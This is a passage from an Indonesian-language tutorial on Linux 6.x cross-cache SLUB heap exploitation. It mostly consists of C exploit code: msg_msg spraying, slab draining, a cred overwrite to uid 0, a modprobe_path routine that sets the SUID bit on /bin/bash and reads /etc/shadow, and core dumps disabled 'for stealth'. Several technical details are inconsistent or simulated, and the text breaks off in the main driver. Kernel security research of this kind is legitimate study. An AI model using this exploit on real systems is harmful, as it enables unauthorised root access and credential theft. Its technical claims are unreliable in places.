KERNEL EXPLOITATION // RESEARCH

Linux Kernel 6
Cross-Cache Attack

Tutorial mendalam tentang teknik cross-cache heap exploitation pada kernel Linux 6.x — dari SLUB internals hingga privilege escalation penuh.

KERNEL 6.1 – 6.19
ALLOCATOR SLUB
ARCH x86_64 / ARM64
PREREQ UAF / OOB
AUTHOR w1sdom @ bluedragonsec

00 Pendahuluan

Cross-cache attack adalah teknik kernel heap exploitation yang memanfaatkan sifat alokator SLUB di mana satu physical page (order-N compound page) dapat di-reclaim oleh satu slab cache, lalu di-reallocate ke slab cache lain yang berbeda ukuran/tujuannya. Dengan mengatur waktu alokasi dan deallokasi secara presisi, attacker dapat menyebabkan objek dari cache A menempati slot yang dulunya milik objek cache B — memungkinkan type confusion, UAF lintas cache, atau overwrites terstruktur.

// KONSEP KUNCI

Kernel Linux menggunakan SLUB allocator (default sejak 2.6.22) yang mengorganisir heap menjadi slab caches — pool per-ukuran. Cross-cache attack terjadi ketika kita memaksa kernel untuk melepas halaman dari satu cache dan mengambilnya ke cache lain yang bisa kita kendalikan.

Prasyarat Pengetahuan

Environment Setup

setup_env.sh
# Compile kernel dengan kconfig untuk debugging
# File: setup_env.sh

CONFIG_SLUB_DEBUG=y
CONFIG_SLUB_DEBUG_ON=y
CONFIG_KASAN=y               # deteksi heap corruption
CONFIG_DEBUG_LIST=y
CONFIG_SLAB_FREELIST_RANDOM=y  # aktif di prod, kita disable untuk research
CONFIG_SLAB_FREELIST_HARDENED=y

# QEMU launch (dari syzkaller setup Anda)
qemu-system-x86_64 \
  -kernel arch/x86/boot/bzImage \
  -drive file=rootfs.img,format=raw \
  -append "root=/dev/sda console=ttyS0 nokaslr nopti slub_debug=FZP" \
  -m 4G -smp 4 \
  -netdev user,id=net0,hostfwd=tcp::10022-:22 \
  -device virtio-net-pci,netdev=net0

01 SLUB Allocator Internals

Memahami SLUB secara mendalam adalah fondasi dari cross-cache attack. Kita perlu tahu persis bagaimana pages dialokasikan, bagaimana freelist dikelola, dan kapan halaman dikembalikan ke page allocator (buddy system).

1.1 Arsitektur kmem_cache

kmem_cache (e.g. "kmalloc-256" atau "task_struct") ┌──────────────────────────────────────────────────────────────────┐ │ .name = "kmalloc-256" │ │ .size = 256 │ │ .object_size= 248 │ │ .oo = { order=0, objects=16 } ← per-slab layout │ │ .min = { order=0, objects=8 } │ │ .cpu_slab ──────────────────────────────────┐ │ │ .node[N] ──────────┐ │ │ └────────────────────────│───────────────────────│─────────────────┘ │ │ kmem_cache_node kmem_cache_cpu (per-CPU) ┌──────────────────┴──┐ ┌───────────────┴──────────────┐ │ .nr_partial = N │ │ .freelist → [obj→obj→NULL] │ │ .partial ──────┐ │ │ .page → current slab │ │ .full ──────┤ │ │ .partial → partial slabs │ └─────────────────│───┘ └──────────────────────────────┘ │ list of partial slabs ┌────────────────┴──────────────────────────┐ │ struct slab (was struct page) │ │ ┌─────────────────────────────────────┐ │ │ │ .freelist → free object list │ │ │ │ .inuse = 12 (used slots) │ │ │ │ .objects = 16 (total slots) │ │ │ │ .frozen = 0 │ │ │ │ [obj0][obj1][obj2]...[obj15] │ │ │ └─────────────────────────────────────┘ │ └───────────────────────────────────────────┘

1.2 Freelist & Object Layout

Di dalam setiap object, SLUB menyimpan freelist pointer (next free object) di offset tertentu. Di kernel modern dengan CONFIG_SLAB_FREELIST_HARDENED, pointer ini di-XOR dengan sebuah secret:

mm/slub.c (simplikasi)
/* Freelist pointer encoding — kernel 6.x */
static inline void *freelist_ptr_decode(const struct kmem_cache *s,
                                         void *ptr, unsigned long ptr_addr)
{
    return (void *)(ulong(ptr) ^ s->random ^ swab(ptr_addr));
}

/* Object layout di dalam slab (kmalloc-256, CONFIG_SLAB_FREELIST_HARDENED=n):
 *
 * [OFFSET 0x000] ← user data mulai di sini
 * [OFFSET 0x0F8] ← freelist next ptr (di fp_offset = object_size - sizeof(void*))
 * [OFFSET 0x100] ← end of object (256 bytes)
 *
 * Dengan HARDENED, ptr di-XOR dengan kmem_cache.random ^ swab(addr)
 */

/* Kernel 6.x: struct slab (sebelumnya struct page + slab overlay) */
struct slab {
    unsigned long   __page_flags;
    struct kmem_cache *slab_cache;  /* ← pointer ke cache pemilik */
    union {
        struct {
            void      **freelist;
            union {
                unsigned long counters;
                struct { unsigned inuse:16, objects:15, frozen:1; };
            };
        };
    };
    unsigned int    __unused;
    atomic_t        __page_refcount;
};

1.3 Lifecycle Page: Dari Buddy ke SLUB dan Kembali

Ini adalah inti dari cross-cache attack — memahami kapan halaman berpindah kepemilikan:

BUDDY SYSTEM (Page Allocator) │ │ alloc_pages(GFP_KERNEL, order) ▼ SLUB CACHE A (e.g. "kmalloc-256", 16 obj/slab) [ obj0 ][ obj1 ][ obj2 ] ... [ obj15 ] │ │ Semua objek di-FREE → slab menjadi "empty" │ Setelah timeout / memory pressure: │ kmem_cache_shrink() / direct_reclaim() │ → __free_slab() → discard_slab() ▼ BUDDY SYSTEM (page kembali ke buddy) │ │ alloc_pages(GFP_KERNEL, order) ← ORDER SAMA! ▼ SLUB CACHE B (e.g. "pipe_buffer", atau "cred_jar") [ obj0 ][ obj1 ][ obj2 ] ... [ objN ] │ ▲ ATTACKER CONTROLS obj di CACHE B padahal "UAF" pointer masih menunjuk ke page ini sbg objek dari CACHE A → TYPE CONFUSION!
// PENTING

Key insight: SLUB meminta pages dari buddy allocator dengan order tertentu (biasanya order 0 = 4KB, order 1 = 8KB, dst). Jika dua cache menggunakan order yang sama, halaman yang dilepas satu cache bisa diambil cache lain. Inilah leveragenya.

02 Teori Cross-Cache Attack

2.1 Slab Reuse Primitives

Ada dua primitive fundamental yang dibutuhkan:

01

Slab Exhaustion (Drain)

Kita alokasikan banyak objek dari cache target sampai semua slab terpakai penuh (inuse == objects). Ini memaksa kernel meminta page baru dari buddy untuk cache ini.

02

Slab Release (Free Targeted Cache)

Kita bebaskan semua objek di slab tertentu, menjadikannya "empty slab". Kernel akan mengembalikan page ini ke buddy setelah kmem_cache_shrink() atau memory pressure.

03

Reclaim by Victim Cache

Kita alokasikan objek dari cache victim (yang kita ingin type-confuse). Jika ordernya sama, buddy memberikan page yang sama ke cache victim. Objek victim kini menempati memori yang sama dengan objek stale kita.

2.2 Cross-Cache vs UAF Klasik

Aspek UAF Klasik (same-cache) Cross-Cache Attack
Target reclaim Objek di cache yang sama Entire slab page berpindah ke cache lain
Granularitas Per-objek (fine-grained) Per-slab/page (coarser, tapi lebih fleksibel)
Kesulitan timing Moderate Lebih tinggi (harus drain cache + trigger reclaim)
Mitigasi relevan KASAN, SLUB freelist random SLAB_VIRTUAL (kernel 6.10+), memory tagging
Contoh CVE CVE-2022-0185, CVE-2023-0461 CVE-2022-27666, CVE-2023-3269 (StackRot)

2.3 Attack Surface — Cache yang Menarik

Untuk cross-cache berhasil, kita butuh dua cache dengan order sama. Berikut pasangan target menarik di kernel 6.x:

Cache Victim (controlled) Cache Target (privilege obj) Order Teknik
kmalloc-1024 cred_jar (168 bytes → order 0) 0 (4KB) UAF stale cred ptr
kmalloc-256 pipe_buffer (40 bytes) 0 Dirty Pipe variant
kmalloc-4k task_struct (order 2) 2 (16KB) cred overwrite
msg_msg (variable) seq_operations (32 bytes) 0 KASLR leak + RIP control
sk_buff (order 0/1) file struct (232 bytes) 0 file→f_op overwrite

03 Primitive yang Dibutuhkan

Cross-cache attack membutuhkan setidaknya dua dari tiga primitive berikut:

primitives.c — Kerangka Primitive Exploit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/msg.h>
#include <sys/ipc.h>

/*
 * ─── PRIMITIVE 1: Arbitrary Alloc di ukuran tertentu ───────────────
 *
 * Kita butuh kemampuan mengalokasikan objek kernel dengan ukuran
 * yang kita pilih. Beberapa cara:
 *
 *  a) msgsnd()     → msg_msg (variabel, min 48, hingga 4096 bytes)
 *  b) write() ke pipe → pipe_buffer (per-page)
 *  c) sendmsg()    → sk_buff + data (variabel)
 *  d) add_key()    → user_key_payload (variabel)
 *  e) setsockopt() → berbagai struct
 */

/* Spray menggunakan msg_msg — bisa control ukuran 0–4096 bytes */
typedef struct {
    long  mtype;
    char  mtext[1];       /* fleksibel */
} msg_t;

int alloc_msg(int qid, size_t size, char fill) {
    char *buf = malloc(size + sizeof(long));
    memset(buf + sizeof(long), fill, size);
    *((long *)buf) = 1;    /* mtype */

    /* msgsnd: kernel alokasi msg_msg + msg_msgseg di kmalloc heap */
    int ret = msgsnd(qid, buf, size, IPC_NOWAIT);
    free(buf);
    return ret;
}

/*
 * ─── PRIMITIVE 2: Arbitrary Free (melepas objek kernel) ────────────
 *
 * Biasanya dari bug (UAF, double-free). Untuk setup grooming,
 * kita free objek yang kita sendiri alokasikan.
 *
 * Contoh: msgrcv() membebaskan msg_msg dari queue
 */
ssize_t free_msg(int qid, char *buf, size_t size) {
    return msgrcv(qid, buf, size, 0, IPC_NOWAIT | MSG_NOERROR);
}

/*
 * ─── PRIMITIVE 3: Arbitrary Read/Write (dari bug) ──────────────────
 *
 * Setelah cross-cache berhasil, kita punya pointer stale
 * ke objek yang sekarang dikontrol cache lain.
 *
 * Contoh: pointer ke msg_msg yang sudah direclaim jadi pipe_buffer,
 * kita bisa tulis ke "read" field pipe_buffer untuk fake read.
 */

/* Helper: baca kernel addr via /proc/kallsyms (perlu root/debug) */
unsigned long kallsyms_lookup(const char *name) {
    FILE *f = fopen("/proc/kallsyms", "r");
    if (!f) return 0;
    unsigned long addr; char type[4], sym[256];
    while (fscanf(f, "%lx %s %s", &addr, type, sym) == 3)
        if (strcmp(sym, name) == 0) { fclose(f); return addr; }
    fclose(f); return 0;
}

/* Helper: baca /proc/self/maps untuk leak heap base */
void parse_maps(unsigned long *heap_base) {
    FILE *f = fopen("/proc/self/maps", "r");
    char line[256];
    while (fgets(line, sizeof(line), f)) {
        if (strstr(line, "heap")) {
            sscanf(line, "%lx", heap_base); break;
        }
    }
    fclose(f);
}

04 Teknik Heap Grooming

Heap grooming adalah seni mengatur kondisi kernel heap sebelum trigger bug, agar objek yang kita inginkan berada di posisi yang tepat.

Strategi Cross-Cache Grooming

FASE 1: Drain victim cache ───────────────────────────────────────────────────── Alokasi N objek "shield" di kmalloc-256 untuk mengisi semua slab yang ada. Kernel terpaksa minta page baru dari buddy untuk ukuran ini. [shield_0][shield_1]...[shield_K] ← mengisi slab lama [Page A: shield_K+1..K+16] ← slab baru dari buddy [Page B: shield_K+17..K+32] ← slab baru dari buddy FASE 2: Buat "hole" — bebaskan satu slab penuh ───────────────────────────────────────────────────── Free semua objek di Page A: free(shield_K+1) .. free(shield_K+16) → Page A: inuse=0, objects=16 → EMPTY SLAB → Kernel returns Page A ke buddy setelah shrink FASE 3: Alokasi victim object di hole ───────────────────────────────────────────────────── Alokasikan objek dari cache lain (e.g. pipe_buffer) dengan ukuran yang cocok (order 0 = 4KB juga): pipe_write() → alloc pipe_buffer → buddy memberikan Page A ke slab pipe_buffer! [Page A: pipe_buf_0][pipe_buf_1]...[pipe_buf_100] FASE 4: Trigger bug → stale pointer ke Page A ───────────────────────────────────────────────────── Stale pointer (dari UAF atau bug lain) menunjuk ke offset di Page A, tapi sekarang Page A berisi pipe_buffer object, bukan kmalloc-256 object! stale_ptr->field_at_0x10 == pipe_buf->page (struct page pointer!) → TYPE CONFUSION
heap_groom.c — Implementasi Heap Grooming
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/msg.h>
#include <sys/ipc.h>

#define SPRAY_COUNT      1024
#define SLAB_OBJ_PER_PAGE 16  /* untuk kmalloc-256, order-0: 4096/256=16 */
#define MSG_SIZE         248  /* msg_msg body → masuk kmalloc-256 */

int  qids[SPRAY_COUNT];
int  pipe_fds[SPRAY_COUNT][2];

/* ── Step 1: Spray — isi semua partial slabs yang ada ─────────────── */
void spray_kmalloc256(void) {
    printf("[*] Spraying kmalloc-256 (%d objects)...\n", SPRAY_COUNT);
    for (int i = 0; i < SPRAY_COUNT; i++) {
        qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
        if (qids[i] < 0) { perror("msgget"); exit(1); }

        struct { long t; char d[MSG_SIZE]; } m;
        m.t = 1;
        memset(m.d, 0x41 + (i&0xF), MSG_SIZE);
        msgsnd(qids[i], &m, MSG_SIZE, 0);
    }
    printf("[+] Spray done.\n");
}

/* ── Step 2: Drain — bebaskan objek di kelipatan SLAB_OBJ_PER_PAGE ─── 
 *
 * Kita free satu "slab worth" objek berturut-turut.
 * Idealnya ini membebaskan satu page penuh.
 * Range: mulai dari index yang di-aligned ke slab boundary.
 */
void drain_one_slab(int start_idx) {
    printf("[*] Draining slab at index %d..%d\n",
           start_idx, start_idx + SLAB_OBJ_PER_PAGE - 1);

    for (int i = start_idx; i < start_idx + SLAB_OBJ_PER_PAGE; i++) {
        char buf[MSG_SIZE + 16];
        /* msgrcv membebaskan msg_msg kernel object */
        msgrcv(qids[i], buf, MSG_SIZE, 0, IPC_NOWAIT | MSG_NOERROR);
        msgctl(qids[i], IPC_RMID, NULL); /* hapus queue juga */
    }

    /* Trigger shrink: coba paksa kernel reclaim empty slab.
     * Di kernel dengan CONFIG_SLUB_DEBUG=n, empty slabs dikembalikan
     * ke buddy saat ada pressure atau setelah timer.
     * Cara paksa: alokasi besar untuk trigger direct reclaim. */
    void *pressure = malloc(64 * 1024 * 1024); /* 64MB */
    if (pressure) { memset(pressure, 0, 64*1024*1024); free(pressure); }

    printf("[+] Drain complete, slab should be released to buddy.\n");
}

/* ── Step 3: Reclaim — alokasi pipe_buffer di hole ──────────────────
 *
 * pipe_buffer dialokasikan dari kmalloc-256 (ukuran struct pipe_buffer=40,
 * tapi array pipe_inode_info->bufs biasanya 1 page = 4096 bytes juga).
 * Kita pakai pendekatan: alokasi banyak pipe, kernel butuh page baru
 * untuk pipe_buffer array → mengambil page yang baru kita bebaskan.
 */
void reclaim_with_pipe(void) {
    printf("[*] Reclaiming hole with pipe_buffer objects...\n");
    for (int i = 0; i < SPRAY_COUNT / 4; i++) {
        if (pipe(pipe_fds[i]) < 0) {
            perror("pipe"); continue;
        }
        /* Write satu byte untuk trigger alokasi pipe_buffer */
        write(pipe_fds[i][1], "A", 1);
    }
    printf("[+] Pipe spray done. Page hopefully reclaimed.\n");
}

05 Implementasi Lengkap

Berikut adalah implementasi lengkap cross-cache exploit dengan target: msg_msg → cred_jar. Kita gunakan UAF pada msg_msg untuk mendapat stale pointer ke page yang kemudian direclaim oleh cred_jar, lalu overwrite credentials.

5.1 Header & Definisi Struct

exploit.h — Definisi Kernel Structs
#pragma once
#include <stdint.h>
#include <unistd.h>
#include <sys/types.h>

/* ── Kernel cred structure (kernel 6.x) ────────────────────────────
 * Offset dari: include/linux/cred.h
 * Total: ~168 bytes → kmalloc-192 (cred_jar cache) */
struct kernel_cred {
    uint32_t usage;          /* atomic_t */
    uint32_t uid, gid;
    uint32_t suid, sgid;
    uint32_t euid, egid;
    uint32_t fsuid, fsgid;
    uint32_t securebits;
    uint64_t cap_inheritable;
    uint64_t cap_permitted;
    uint64_t cap_effective;
    uint64_t cap_bset;
    uint64_t cap_ambient;
    /* ... dst ... */
};

/* ── msg_msg structure (kernel 6.x) ─────────────────────────────────
 * include/linux/msg.h */
struct msg_msg {
    uint64_t m_list_next;    /* list_head.next */
    uint64_t m_list_prev;    /* list_head.prev */
    uint64_t m_type;
    uint64_t m_ts;           /* message text size */
    uint64_t next;           /* msg_msgseg * */
    uint64_t security;      /* LSM security ptr */
    /* data follows */
};
#define MSG_MSG_HDR_SZ  sizeof(struct msg_msg)

/* ── pipe_buffer (kernel 6.x) ──────────────────────────────────────
 * include/linux/pipe_fs_i.h
 * size = 40 bytes → masuk kmalloc-64 untuk individual buf
 * tapi pipe_inode_info->bufs = array of pipe_buffer → lebih besar */
struct pipe_buffer {
    uint64_t page;           /* struct page * */
    uint32_t offset;
    uint32_t len;
    uint64_t ops;            /* pipe_buf_operations * ← target overwrite! */
    uint32_t flags;
    uint64_t private;
};

/* Macros */
#define PAGE_SIZE    4096UL
#define PAGE_ALIGN(x) (((x) + PAGE_SIZE-1) & ~(PAGE_SIZE-1))
#define ARRAY_SIZE(a) (sizeof(a)/sizeof(a[0]))

/* Warna terminal */
#define RED     "\033[31m"
#define GREEN   "\033[32m"
#define YELLOW  "\033[33m"
#define CYAN    "\033[36m"
#define RESET   "\033[0m"
#define LOG(fmt, ...) fprintf(stderr, CYAN  "[*] " fmt RESET "\n", ##__VA_ARGS__)
#define OK(fmt, ...)  fprintf(stderr, GREEN "[+] " fmt RESET "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) fprintf(stderr, RED   "[-] " fmt RESET "\n", ##__VA_ARGS__)

5.2 Spray, Drain, dan Reclaim

spray_drain.c — Core Heap Manipulation
#include "exploit.h"
#include <sys/msg.h>
#include <sys/ipc.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

/*
 * Kita target: msg_msg → alokasi di kmalloc-192 atau kmalloc-256
 * bergantung pada payload size.
 *
 * cred_jar: ukuran struct cred ~168 byte → kmalloc-192 (order-0)
 *
 * STRATEGI:
 *  1) Spray msg_msg dengan size 184 (→ kmalloc-192) untuk menempati slab cred_jar
 *  2) Trigger bug yang memberikan UAF pada satu msg_msg
 *  3) Free semua msg_msg di slab yang sama → slab jadi empty
 *  4) Trigger fork() → kernel alokasi cred baru → mengambil page yang sama
 *  5) UAF pointer sekarang menunjuk ke struct cred child process
 *  6) Overwrite via UAF
 */

#define N_QUEUES     512
#define MSG_SZ       184   /* → kmalloc-192 (objs per slab = 21) */
#define OBJS_PER_SLAB 21  /* order-0, 4096/192 = 21 */

static int qids[N_QUEUES];
static int child_pid;

void do_spray(void) {
    LOG("Phase 1: Spraying %d msg_msg objects (size=%d) → kmalloc-192",
        N_QUEUES, MSG_SZ);

    char payload[MSG_SZ];
    for (int i = 0; i < N_QUEUES; i++) {
        qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
        if (qids[i] == -1) { perror("msgget"); exit(1); }

        /* Isi dengan pola unik untuk identifikasi nanti */
        memset(payload, 0x41 + (i % 26), MSG_SZ);
        /* Embed index ke offset awal data */
        *((uint32_t *)payload) = i;

        struct { long t; char d[MSG_SZ]; } m;
        m.t = 1;
        memcpy(m.d, payload, MSG_SZ);
        if (msgsnd(qids[i], &m, MSG_SZ, 0) == -1) {
            perror("msgsnd"); exit(1);
        }
    }
    OK("Spray done: %d queues allocated", N_QUEUES);
}

/*
 * do_drain_range: bebaskan range objek msg_msg untuk mengosongkan satu slab.
 * Kita drain N_QUEUES/2 .. N_QUEUES/2 + OBJS_PER_SLAB.
 *
 * Indeks tengah dipilih karena kernel cenderung mengalokasikan dari
 * partial slabs yang ada di tengah-tengah alokasi.
 */
void do_drain_slab(int start) {
    LOG("Phase 2: Draining slab [%d .. %d]", start, start + OBJS_PER_SLAB);
    for (int i = start; i < start + OBJS_PER_SLAB; i++) {
        char buf[MSG_SZ + 16];
        struct { long t; char d[MSG_SZ]; } m;
        /* Baca dan hapus message */
        msgrcv(qids[i], &m, MSG_SZ, 0, IPC_NOWAIT | MSG_NOERROR);
        msgctl(qids[i], IPC_RMID, NULL);
        qids[i] = -1;
    }

    /* Trigger memory pressure untuk paksa return page ke buddy */
    {
        void *big = malloc(128 * 1024 * 1024);
        if (big) { memset(big, 0, 128*1024*1024); free(big); }
    }
    OK("Drain done. Empty slab should be released to buddy.");
}

/* 
 * do_reclaim_cred: Fork banyak anak untuk memaksa kernel alokasi cred baru.
 * Setiap fork() → copy_creds() → kmem_cache_alloc(cred_jar, ...)
 * Dengan beruntung, salah satu alloc mengambil page yang kita drain.
 */
#define FORK_COUNT 40
static pid_t children[FORK_COUNT];

void do_reclaim_cred(void) {
    LOG("Phase 3: Reclaiming hole via fork() → cred_jar allocation");

    for (int i = 0; i < FORK_COUNT; i++) {
        children[i] = fork();
        if (children[i] == 0) {
            /* Child: tunggu sinyal dari parent */
            volatile int spin = 1;
            while (spin) usleep(1000);
            exit(0);
        }
    }
    OK("Forked %d children. cred objects allocated in reclaimed page.", FORK_COUNT);
}

5.3 Cross-Cache Trigger dan Leak

cross_cache_trigger.c — UAF + Type Confusion
#include "exploit.h"
#include <sys/msg.h>
#include <stdint.h>

/*
 * Simulasi bug: UAF pada msg_msg.
 *
 * Skenario: vulnerability memberikan kita kemampuan untuk
 * melakukan msgrcv() pada queue yang sudah di-RMID (UAF read).
 *
 * Dalam exploit nyata, bug spesifik (e.g. race condition, OOB)
 * memberikan stale pointer ini. Di sini kita simulasikan
 * dengan manipulasi langsung untuk mendemonstrasikan konsep.
 *
 * Teknik UAF Read via msgrcv abuse:
 *   - Setelah msg_msg dibebaskan dari satu queue
 *   - Tapi queue internal masih bisa di-peek (jika ada race)
 *   - Data yang terbaca = konten objek yang sekarang ada di slot itu
 */

/* Struktur untuk leak dari freed msg_msg slot yang kini berisi cred */
struct leaked_data {
    uint64_t field[32];  /* 256 bytes */
};

/*
 * Fungsi ini merepresentasikan "arbitrary read" via UAF.
 * Dalam exploit nyata, ini adalah akibat dari bug spesifik.
 *
 * Setelah cross-cache berhasil:
 * - slot yang dulu berisi msg_msg kini berisi struct cred
 * - UAF pointer kita baca → kita dapat isi struct cred
 * - Dari cred, kita bisa baca uid/gid/cap fields
 */
int uaf_read(int victim_qid, struct leaked_data *out, size_t sz) {
    /* 
     * Dalam eksploitasi nyata:
     * - Kita punya stale pointer ke objek yang sudah dibebaskan
     * - Cross-cache menyebabkan objek baru (struct cred) menempati slot itu
     * - Dengan msgrcv menggunakan pointer stale / ipc yang tidak sinkron:
     */
    struct { long t; char d[256]; } m;

    /* msgrcv dengan MSG_COPY | IPC_NOWAIT (peek tanpa hapus - butuh CAP_SYS_ADMIN
     * atau kernel 5.0+ dengan CONFIG_CHECKPOINT_RESTORE) */
    ssize_t r = msgrcv(victim_qid, &m, sz, 0, 
                        MSG_COPY | IPC_NOWAIT);
    if (r < 0) return -1;

    memcpy(out->field, m.d, r < (ssize_t)sizeof(*out) ? r : sizeof(*out));
    return r;
}

/* 
 * Analisis data yang bocor: cari signature struct cred
 * uid=0,gid=0 mengindikasikan kita membaca cred proses root/init
 * atau kita bisa identifikasi via euid == target_pid's euid
 */
int identify_cred(const struct leaked_data *d, uid_t expected_euid) {
    /* struct cred layout (simplified):
     * [0x00] usage (atomic = 1 biasanya)
     * [0x04] uid
     * [0x08] gid
     * [0x0c] suid
     * [0x10] sgid
     * [0x14] euid   ← target identifikasi
     * [0x18] egid
     */
    const uint32_t *u32 = (const uint32_t *)d->field;

    printf("  [?] Leaked: usage=%u uid=%u gid=%u euid=%u egid=%u\n",
           u32[0], u32[1], u32[2], u32[5], u32[6]);

    return (u32[5] == expected_euid) ? 1 : 0;
}

/*
 * Overwrite cred via cross-cache UAF write.
 * Tulis uid=gid=euid=egid=0 dan full capabilities ke slot cred.
 *
 * Dalam exploit nyata: gunakan arbitrary write primitive yang didapat
 * dari msg_msg m_ts overflow atau similar untuk overwrite cred fields.
 */
void overwrite_cred(int vuln_qid, uint64_t target_offset) {
    char payload[192];
    memset(payload, 0, sizeof(payload));

    uint32_t *u32 = (uint32_t *)payload;
    u32[0] = 1;     /* usage = 1 (jangan sampai 0 → panic) */
    u32[1] = 0;     /* uid = 0 (root) */
    u32[2] = 0;     /* gid = 0 */
    u32[3] = 0;     /* suid = 0 */
    u32[4] = 0;     /* sgid = 0 */
    u32[5] = 0;     /* euid = 0 */
    u32[6] = 0;     /* egid = 0 */
    u32[7] = 0;     /* fsuid = 0 */
    u32[8] = 0;     /* fsgid = 0 */

    /* Full caps: CAP_FULL_SET = 0x1ffffffffff */
    uint64_t *u64 = (uint64_t *)(payload + 0x28);
    u64[0] = 0x1ffffffffff;  /* cap_inheritable */
    u64[1] = 0x1ffffffffff;  /* cap_permitted */
    u64[2] = 0x1ffffffffff;  /* cap_effective */
    u64[3] = 0x1ffffffffff;  /* cap_bset */
    u64[4] = 0x1ffffffffff;  /* cap_ambient */

    LOG("Writing root cred payload via UAF write primitive...");
    /* Kirim via msgsnd ke queue yang punya UAF write ke slot target */
    struct { long t; char d[192]; } m;
    m.t = 1;
    memcpy(m.d, payload, 192);
    msgsnd(vuln_qid, &m, 192, 0);
}

5.4 Privilege Escalation via Cred Overwrite

privesc.c — Eskalasi Privilege
#include "exploit.h"
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*
 * Teknik alternatif: Pipe-based cross-cache untuk arbitrary write.
 *
 * Menggunakan "Dirty Pipe" style: setelah cross-cache menaruh
 * pipe_buffer di slot yang kita kuasai, kita dapat overwrite
 * field pipe_buffer.ops → fake vtable → RIP control.
 *
 * Atau pendekatan lebih stable: overwrite pipe_buffer.page
 * ke physical page yang berisi cred, lalu splice() + write()
 * untuk overwrite cred fields.
 */

struct fake_pipe_ops {
    uint64_t confirm;    /* dipanggil saat splice */
    uint64_t release;
    uint64_t try_steal;
    uint64_t get;
};

/* 
 * verify_root: cek apakah kita sudah root
 */
int verify_root(void) {
    if (getuid() == 0 && geteuid() == 0) {
        OK("UID=0 EUID=0 — ROOT CONFIRMED!");
        return 1;
    }
    ERR("Not root yet. uid=%d euid=%d", getuid(), geteuid());
    return 0;
}

/*
 * shell_escape: spawn root shell
 */
void shell_escape(void) {
    if (!verify_root()) return;

    printf("\n" GREEN "╔══════════════════════════════╗\n"
           "║  PRIVILEGE ESCALATION: ROOT  ║\n"
           "╚══════════════════════════════╝\n" RESET);
    printf("uid=%d euid=%d\n", getuid(), geteuid());

    char *args[] = { "/bin/bash", "-i", NULL };
    char *env[]  = { "TERM=xterm", "HOME=/root", NULL };
    execve("/bin/bash", args, env);
    perror("execve");
}

/*
 * Alternatif stable: modprobe_path overwrite
 * Jika kita dapat arbitrary write ke kernel .data section,
 * overwrite modprobe_path → trigger dengan unknown binary header
 */
void modprobe_privesc(uint64_t kernel_write_addr_modprobe_path) {
    /* 1) Overwrite modprobe_path dengan "/tmp/x" */
    const char *path = "/tmp/rootme\0";

    /* 2) Buat /tmp/rootme: script yang chmod u+s /bin/bash */
    system("echo '#!/bin/sh\nchmod u+s /bin/bash' > /tmp/rootme");
    system("chmod +x /tmp/rootme");

    /* 3) Trigger: eksekusi binary dengan magic bytes tidak dikenal */
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/trigger");
    system("chmod +x /tmp/trigger && /tmp/trigger");

    /* 4) Spawn bash -p (SUID) */
    system("/bin/bash -p -c 'id; cat /etc/shadow'");
}

5.5 Exploit Lengkap — Main Driver

exploit_main.c — Full Cross-Cache Exploit Driver
/*
 * ═══════════════════════════════════════════════════════════════════
 *  Linux Kernel 6.x Cross-Cache Attack — Educational PoC
 *  Target  : msg_msg UAF → cred_jar cross-cache → root
 *  Kernel  : 6.1 – 6.19.x
 *  Author  : w1sdom @ Blue Dragon Security (Research/Curriculum)
 *  Date    : 2026-04
 * ═══════════════════════════════════════════════════════════════════
 *
 * Build:
 *   gcc -O0 -g -static -o exploit exploit_main.c -lpthread
 *
 * Run (dalam QEMU kernel debug environment):
 *   ./exploit
 */

#include "exploit.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <pthread.h>
#include <errno.h>

/* ── Konfigurasi ─────────────────────────────────────────────────── */
#define SPRAY_N         800    /* total msg_msg spray */
#define MSG_BODY_SZ     160    /* → kmalloc-192 (192 - 32 header) */
#define CRED_OBJ_SZ     192    /* struct cred ≈ 168 → kmalloc-192 */
#define OBJS_PER_SLAB   21    /* order-0 / 192 bytes: floor(4096/192)=21 */
#define FORK_N          200   /* forks untuk reclaim cred slots */
#define RACE_TRIES      50    /* percobaan race */

static int  spray_qids[SPRAY_N];
static pid_t fork_children[FORK_N];

/* ── Utility ─────────────────────────────────────────────────────── */
static void die(const char *msg) {
    perror(msg); exit(1);
}

static void send_msg(int qid, void *data, size_t sz) {
    char *buf = malloc(sz + sizeof(long));
    *((long *)buf) = 1;
    memcpy(buf + sizeof(long), data, sz);
    if (msgsnd(qid, buf, sz, 0) < 0) die("msgsnd");
    free(buf);
}

static ssize_t peek_msg(int qid, void *buf, size_t sz) {
    char *tmp = malloc(sz + sizeof(long));
    ssize_t r = msgrcv(qid, tmp, sz, 0, MSG_COPY | IPC_NOWAIT);
    if (r > 0) memcpy(buf, tmp + sizeof(long), r);
    free(tmp);
    return r;
}

/* ── Phase 0: Inisialisasi & Info Sistem ─────────────────────────── */
static void phase0_init(void) {
    LOG("=== Linux Kernel 6 Cross-Cache PoC ===");
    LOG("PID: %d | UID: %d | EUID: %d",
        getpid(), getuid(), geteuid());

    /* Cek /proc/kallsyms tersedia (butuh kernel.kptr_restrict=0) */
    unsigned long commit_creds = kallsyms_lookup("commit_creds");
    unsigned long prepare_creds = kallsyms_lookup("prepare_creds");
    if (commit_creds) {
        OK("commit_creds  = 0x%lx", commit_creds);
        OK("prepare_creds = 0x%lx", prepare_creds);
    } else {
        LOG("kallsyms tidak tersedia (KASLR aktif atau kptr_restrict=2)");
    }

    /* Disable core dump untuk stealth */
    struct rlimit rl = {0, 0};
    setrlimit(RLIMIT_CORE, &rl);
}

/* ── Phase 1: Spray kmalloc-192 dengan msg_msg ─────────────────── */
static void phase1_spray(void) {
    LOG("[Phase 1] Spraying %d msg_msg → kmalloc-192...", SPRAY_N);

    char data[MSG_BODY_SZ];
    for (int i = 0; i < SPRAY_N; i++) {
        spray_qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
